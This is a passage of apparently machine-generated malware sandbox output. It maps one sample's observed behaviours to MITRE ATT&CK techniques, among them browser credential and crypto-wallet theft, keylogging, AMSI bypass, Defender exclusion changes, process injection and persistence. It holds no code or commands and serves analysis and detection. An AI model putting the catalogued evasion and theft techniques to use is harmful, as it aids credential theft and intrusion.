information (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugObjectHandle"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Contains ability to retrieve system language"},{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"malicious","value":"GETs executable from a web server (HTTPS)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Persistence","technique":"Change Default File Association","attack_id":"T1546.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/001","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"},{"type":"informative","value":"Possible DLL sideloading"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Masquerade Task or Service","attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Found strings related to keylogger"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"},{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"informative","value":"Able to access password managers"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Contains ability to to enumerates the credentials (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Sets a windows hook"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Contains reference to Outlook data files path"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"malicious","value":"Steals sensitive data from browsers"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Attempts to access Microsoft Outlook file path"},{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for 